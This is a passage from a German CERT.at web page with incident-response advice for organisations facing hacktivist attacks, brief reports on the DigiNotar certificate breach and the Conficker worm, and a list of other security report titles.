Kurzschlussreaktionen sind fehl am Platz. Ungetestete Maßnahmen zum Beheben bereits bekannter Schwachstellen stellen dann eventuell erst recht die Ursache für Systemprobleme dar. Sämtliche Maßnahmen müssen auch in diesem Fall durchdacht, getestet und geprüft werden.

Erreichbarkeit

Ein Ernstfall - "ich wurde gehackt!" - ist für die meisten Betroffenen ein Schockerlebnis. Es ist essentiell zu wissen, WER für WAS zuständig ist und WIE und WO handlungsfähige Personen erreicht werden können.

Dies betrifft in erster Linie folgende Aufgabenbereiche:

Treffen unternehmensrelevanter Entscheidungen
Kontakt zu Kollateral-Geschädigten (Kunden, Geschäftspartner)
Kontakt zur Presse
Prüfung auf rechtliche Konsequenzen und Pflichten
Technische Schadensbegrenzung

Organisationen mit einem existierenden Krisenmanagement sollten dies hinsichtlich der Brauchbarkeit bei IT-Sicherheitsvorfällen überprüfen und gegebenenfalls adaptieren.

Backups

Immer wenn ungewollte Datenveränderungen auftreten, wird der Ruf nach Backups laut. Selbiger verstummt aber recht schnell bzw. ändert sich in einen Aufschrei der Empörung, sollten diese beispielsweise

veraltet
beschädigt
nicht zugreifbar
nicht (vollständig) vorhanden

sein.

Stellungnahme

Die vergangenen Ereignisse zeigten nachhaltig, dass Vertuschung nicht hilfreich ist. Gerade im Kontext von Netz-Aktivismus, kann der Versuch, etwas zu verschweigen, sehr rasch aus einer "kleinen Meldung" ein PR-Desaster entstehen lassen.

Eine transparente Stellungnahme, mit entsprechend realistischer und konstruktiver Betrachtungsweise, kann bereits initial die gröbsten Wogen glätten.

Tatsächlich könnte es sogar eine Überlegung wert sein, als Erster an die Öffentlichkeit zu gehen - sozusagen ein "medialer Erstschlag". Dies kann dem Angreifer weiteren Wind aus den Segeln nehmen und man hat zudem gewisse Kontrolle, auf welche Art und Weise der Vorfall in der Öffentlichkeit bekannt wird.

Falschmeldungen können in Extremfällen sogar zu weiteren Angriffen führen.

In dieser Hinsicht kann es durchaus Sinn machen, eine entsprechende Stellungnahme bereits im Vorfeld auszuarbeiten. Im Ernstfall kann man sich dann auf eine fertig vorbereitete und durchdachte Stellungnahme verlassen. Diese muss danach nur mehr adaptiert werden, was den Stressfaktor wesentlich reduziert. Somit macht es (je nach Organisation) Sinn, eine oder auch mehrere der folgenden Stellungnahmen, nach Adressaten (Stakeholdern) unterschieden, vorzubereiten:

Mitarbeiter
Presse
Kunden
Geschäftspartner
Datenschutzkommission
...

Erhöhte Sensibilisierung

Wenn abzusehen ist, dass in naher Zukunft Angriffsversuche bevorstehen, kann es durchaus Sinn machen, entsprechende Monitoring-Systeme wie Logging, IDS, IPS, maximale Anzahl an Login-Fehlversuchen ... wo möglich temporär in einen sensibleren oder auch "gesprächigeren" Modus zu versetzen. Insbesondere letzteres kann eine eventuell angestrebte Beweissicherung deutlich unterstützen und aufwerten.

Rechtliche Folgen

Sollte es bei einer eventuellen Attacke nicht "bloß" bei einem der "Klassiker", wie die Veränderung der Website (Defacement) oder einem Denial of Service (DOS) bleiben, sondern auch sensible Daten abhanden gekommen sein, so kann das durchaus rechtliche Konsequenzen haben. Laut österreichischem Datenschutzgesetz besteht eine Informationspflicht der betroffenen Personen bei Verlust der Vertraulichkeit. Entsprechende Abklärung bereits im Vorfeld, wie hier die rechtlichen Verpflichtungen aussehen erleichtert es im Ernstfall die hierfür vorgegebenen Prozesse einzuhalten.

Ich bin Opfer. Was kann ich tun? Wie soll ich mich verhalten?

Keep cool!

Von Anfang an Marketing/PR und Technik einbinden
Problem nicht gleich zu Beginn herunterspielen
- Nichts ist peinlicher, als Zug um Zug in der Presse immer größere Probleme eingestehen zu müssen
Keine Zahlen nennen, die nicht gesichert sind
- Wenn überhaupt
Bestehen eines Problems nicht verleugnen
Keine Zeitspannen nennen, die nicht gesichert sind

Auf gar keinen Fall sollten Sie sich zu aus dem ersten Schock resultierenden Kurzschlusshandlungen hinreißen lassen.

Dazu gehören zum Beispiel folgende:

Server vom Stromnetz nehmen
Ad-hoc-Presseaussagen
Presseaussagen mit unklaren Daten

Solche überhasteten Aktionen können sehr rasch zum Verlust von Beweisen wie auch zu eventuell noch viel größeren Kollateralschäden führen.

Aktualität der gefundenen Hinweise

Handelt es sich wirklich um einen aktuellen Angriff oder wurden nur Spuren einer alten Attacke aufgestöbert?

Unsere Erfahrungen zeigen, dass Systeme oftmals Spuren von bereits vor geraumer Zeit stattgefundenen Einbrüchen/Einbruchsversuchen aufweisen.

Professionelle Hilfe - CERT.at kontaktieren

Generell empfiehlt es sich, CERT.at bei IT-Sicherheitsvorfällen aller Art, vor allem im Bereich der kritischen Infrastrukturen, zu kontaktieren (bzw. GovCERT.gv.at falls der Vorfall mit einer Behörde oder Organisation der öffentlichen Hand in Verbindung steht).

CERT.at hilft bei der Bewältigung von Vorfällen im IT-Security-Bereich durch entsprechende Vermittlung an Behörden, Branchen sowie Organisationen bzw. in speziellen Fällen durch Task Forces vor-Ort weiter.

Weiters überprüft CERT.at inwiefern eventuell auch noch Dritte betroffen sein könnten und schickt in einem solchen Fall entsprechende Warnungen und weiterführende Informationen aus.

CERT.at nimmt bei größeren Ereignissen die Rolle der Informationsdrehscheibe und Koordinationsstelle war. Ziel ist die Schadensprävention bzw. Schadensminimierung und eine bestmögliche, effiziente Abwicklung.

Vertraulichkeit: CERT.at behandelt generell jegliche übermittelte Information als vertraulich, und wird diese nicht ohne Zustimmung weitergeben, ausser dies ist implizit zur Bearbeitung eines Vorfalls nötig, siehe auch http://cert.at/about/scope/scope.html.

Externe Hilfe

Betroffene Organisationen sollten sich frühzeitig an den IT-Dienstleister Ihres Vertrauens wenden. Weiters gibt es am österreichischen Markt auch eine Vielzahl an spezialisierten IT-Sicherheits-Dienstleistern, die mit ihrer Erfahrung bei der erfolgreichen und richtigen Bewältigung professionelle Unterstützung leisten können.

Mediale Stellungnahme

Jede mediale Stellungnahme - ob vorbereitet oder nicht - sollte auf jeden Fall von Marketing/PR und Technik vor Veröffentlichung geprüt werden.
Je nachdem, wie die Organisation positioniert ist, wird früher oder später eine solche auch aktiv von den Medien eingefordert werden.

Wir verweisen an dieser Stelle noch einmal explizit auf das Konzept eines "medialen Erstschlages" ... siehe oben.

Einschalten der Exekutive

Falls der Verdacht besteht, dass der Einbruch in Zusammenhang mit Anonymous/AnonAstria steht, ersucht das in diesem Zusammenhang ermittelnde BVT (Bundesamt für Verfassungsschutz und Terrorismusbekämpfung) um Meldung an post@bvt.gv.at.

Wurde in ein IT-System wie auch immer geartet eingebrochen und eventuell sogar Daten verändert und/oder gestohlen, so kann es sich hierbei durchaus um eine strafrechtlich relevante Tat handeln. Im Zweifelsfall empfehlen wir eine Abklärung mit der Exekutive - das Bundesministerium für Inneres (BMI) hat hierfür eine Erstanlaufstelle (und zwar nicht wie angegeben "nur" für Internetbetrug) eingerichtet. Nähere Informationen hierzu finden Sie unter
http://www.bmi.gv.at/cms/BK/meldestellen/internetkrimina/start.aspx.

Gerne stellen wir auch als CERT.at den Kontakt zu entsprechenden Behörden her.

Rechtliche Konsequenzen und Pflichten der betroffenen Organisation

Wie bereits bei den Vorbereitungsmaßnahmen erwähnt, können Einbrüche auch rechtliche Konsequenzen für die betroffene Institution selbst haben und mit gesetzlichen Pflichten einhergehen. Als Beispiel hierfür ist der Verlust von persönlichen Daten der Kunden und die daraus resultierende Informationspflicht zu nennen (Datenschutzgesetz).

Special Report: Einbruch bei DigiNotar

CERT.at — Wed, 25 Sep 2019 14:09:59 GMT+0100

8. September 2011

Zusammenfassung

Anfang September wurde bekannt, dass ein Angreifer in die niederländische Certification Authority (CA) "DigiNotar" eingebrochen hatte und sich unbefugt Zertifikate für diverse Domains (u.A. google.com) ausgestellt hatte. Diese wurden für Abhörangriffe auf Iranische Bürger benutzt.

Die betroffenen CAs wurden inzwischen von einigen Browser- und Betriebssystemherstellern aus deren Systemen gestrichen, dadurch werden auch legitime Zertifikate von DigiNotar nicht mehr als gültig anerkannt.

Da Zertifikate von DigiNotar in den Niederlanden für die staatlichen Public-Key-Infrastructure benutzt werden, hat dieser Angriff ernste Folgen für die dortige IT-Infrastruktur.

Der vorliegende Bericht von CERT.at dokumentiert den Vorfall, untersucht die Auswirkungen auf Österreich und zeigt auf, welche Lehren daraus für die Zukunft gezogen werden können.

Informationsquelle(n):

CERT.at Zwischenbericht zum Einbruch bei DigiNotar
http://www.cert.at/static/downloads/specials/CERT.at_report_DigiNotar_Breach_public.pdf
Factsheets von GOVCERT.NL
https://www.govcert.nl/english/service-provision/knowledge-and-publications/factsheets
Timeline (SANS Storm Center)
https://isc.sans.edu/diary.html?date=2011-09-01

Status zu Conficker und 1. April 2009

CERT.at — Wed, 25 Sep 2019 14:09:57 GMT+0100

31. März 2009

Anlässlich der Aufmerksamkeit, die das Thema Conficker/Downadup und 1. April momentan in den Medien erfährt, hat CERT.at hier die wichtigsten Fragen&Antworten zusammengefasst.

Was passiert am 1. April 2009?

Basierend auf verschiedenen technischen Analysen wurde herausgefunden, dass Systeme, die mit dem aktuellen Conficker-Wurm infiziert sind, versuchen werden, über einen neuen Algorithmus Code aus dem Internet nachzuladen. Bisher wurden keine anderen Hinweise auf Aktivitäten des Wurms, die den 1. April betreffen, gefunden.

Wird es am 1. April 2009 eine neue Version des Conficker-Wurms geben?

Es ist durchaus möglich, dass Systeme, die vom aktuellen Conficker-Wurm befallen sind, am 1. April neuen Code über den neuen Domainnamen-Algorithmus nachladen werden. Diese Systeme konnten aber auch schon bisher über eine Peer-to-Peer - Methode von den Wurm-Autoren mit neuem Code versorgt werden.

Sollte die Öffentlichkeit besorgt sein?

Nein, die Öffentlichkeit sollte nicht besorgt sein. Die meisten Privatbenutzer sind bereits durch die automatische Installation des Microsoft-Patches MS08-067 vor dem Wurm geschützt.

Wie kann ich herausfinden, ob mein PC befallen ist, und was soll ich dann tun?

Unter http://www.confickerworkinggroup.org/wiki/pmwiki.php?n=ANY.RepairTools (englisch) befindet sich eine Liste an Tools, mit denen befallene Systeme erkannt und gegebenenfalls gesäubert werden können.
Auch Microsoft bietet via http://safety.live.com/ Möglichkeiten zur Analyse/Entfernung.

Diese Seiten sind aber gerade von befallenen Systemem aus oft nicht erreichbar.

Ist das Entfernungs-Tool XYZ geeignet, um befallene Systeme zu erkennen und zu reparieren?

Wir warnen ausdrücklich vor sogenannten "Trittbrettfahrern", die momentan versuchen, mit falschen Entfernungs-Tools noch mehr PCs unter ihre Kontrolle zu bringen, und ersuchen, nur die von der Conficker Working Group oder anderen seriösen Institutionen empfohlenen Entfernungs-Tools zu verwenden.

Empfehlungen

Wir empfehlen, dass Benutzer, die automatische Updates noch nicht aktiviert haben, dies tun, und sicherstellen, dass die installierte Sicherheitssoftware (Firewall, Anti-Viren-Software) immer auf aktuellem Stand ist, vgl. auch http://www.microsoft.com/germany/athome/security/viruses/conficker.mspx.

Firmen wird empfohlen, sicherzustellen, dass der Microsoft-Patch MS08-067 auf allen System installiert ist, von Conficker (egal welcher Version) befallene Systeme zu säubern, die Signaturen der Anti-Viren-Software aktuell zu halten und zusätzliche Sicherheitsmassnahmen - wie zB von Microsoft in http://technet.microsoft.com/de-de/security/dd452420(en-us).aspx (englisch) vorgeschlagen - zu evaluieren.

Informationsquelle(n):

Wikipedia-Eintrag zu Conficker
http://de.wikipedia.org/wiki/Conficker
Liste von Repair Tools (englisch)
http://www.confickerworkinggroup.org/wiki/pmwiki.php?n=ANY.RepairTools

CERT.at - Spezielles

Nationale Policy für die koordinierte Offenlegung von Schwachstellen (CVD)

Special Report: Die Tücken von Active Directory Certificate Services (AD CS)

Dokumenthistorie

TL;DR:

Einführung

Dringlichkeit!

Dieses Special

Hintergrund

Das eigentliche Problem

Was nun?

Detektion

Zertifikate überwachen

Zertifikatsauthentifizerungen überwachen

CA Backup-Events überwachen

Zertifikatsvorlagen überwachen

DPAPI Detektionen

Köderzertifikate

Konfigurationsänderungen überwachen

Prävention

Admin-Tiering

Hardening: AD CS

Zertifikatsvorlagen regelmäßig sichten

Hardening: Zertifikatsvorlagen

AD-Objekt "NTAuthCertificates"

Hardening: Private-Keys

Strikte Benutzerzuordnung

Hardening: AD CS Http-Endpunkte

Zusätzliche Resourcen

Informationsquelle(n):

Disclaimer

Special Report: Empfehlungen zu Log4Shell

Dokumenthistorie

Allgemeines

Detektion

Mitigationen

Patchen, Patchen, Patchen!

Blockieren von ausgehendem Traffic

Vulnerable log4j-core-*.jar/*.war/*.ear repackagen

JVM-Startparameter

Umgebungsvariablen

Live-Artefakte

Disclaimer

Special Report: Empfehlungen zu Ransomware

Special Report: Heartbleed in Österreich - 100 Tage danach

Special Report: Heartbleed FAQ

Was ist die "Heartbleed" Problematik?

Aktuelle Zahlen

Wie kommt es zu dem Namen "Heartbleed"?

Wie schwerwiegend ist das Problem wirklich?

Welche Software ist betroffen?

Wer ist betroffen?

Was können/sollen/müssen Betroffene tun?

System-Administratoren/Webseiten-Betreiber

Benutzer

Anmerkungen:

Warum sollte ich als "einfacher Benutzer" etwas tun? Die Server-Betreiber haben doch schon reagiert!

Wie kann ich mich in Zukunft vor solchen Attacken (besser) schützen?

System-Administratoren/Webseiten-Betreiber

Benutzer

Wann ist Heartbleed vorüber?

Ich denke, ich bin betroffen - mein Passwort wurde gestohlen - was tun?

Eine Website ist (nach wie vor) verwundbar - an wen soll ich mich wenden?

Wie betroffen ist Österreich? - Statistiken

Weiterführende Links (Hersteller-Seiten werden großteils laufend aktualisiert)

Special Report: Erkennung von Stuxnet

Zusammenfassung

Special Report: Der Spamhaus/CloudFlare/Stophaus Denial of Service Angriff

Zusammenfassung

Special Report: Erfahrungswerte aus den Webserver‐Sicherheitsvorfällen von 2011

Zusammenfassung

Special Report: "Hacktivism" - Vorbereitung auf den Ernstfall

Know your enemy!

Was ist das Ziel von "Netz-Aktivismus"?

Ich bin gefährdet. Was kann ich tun? Wie kann ich mich vorbereiten?

"Hau-Ruck"-Aktionen

Erreichbarkeit

Backups

Stellungnahme

Erhöhte Sensibilisierung

Vulnerable log4j-core-.jar/.war/*.ear repackagen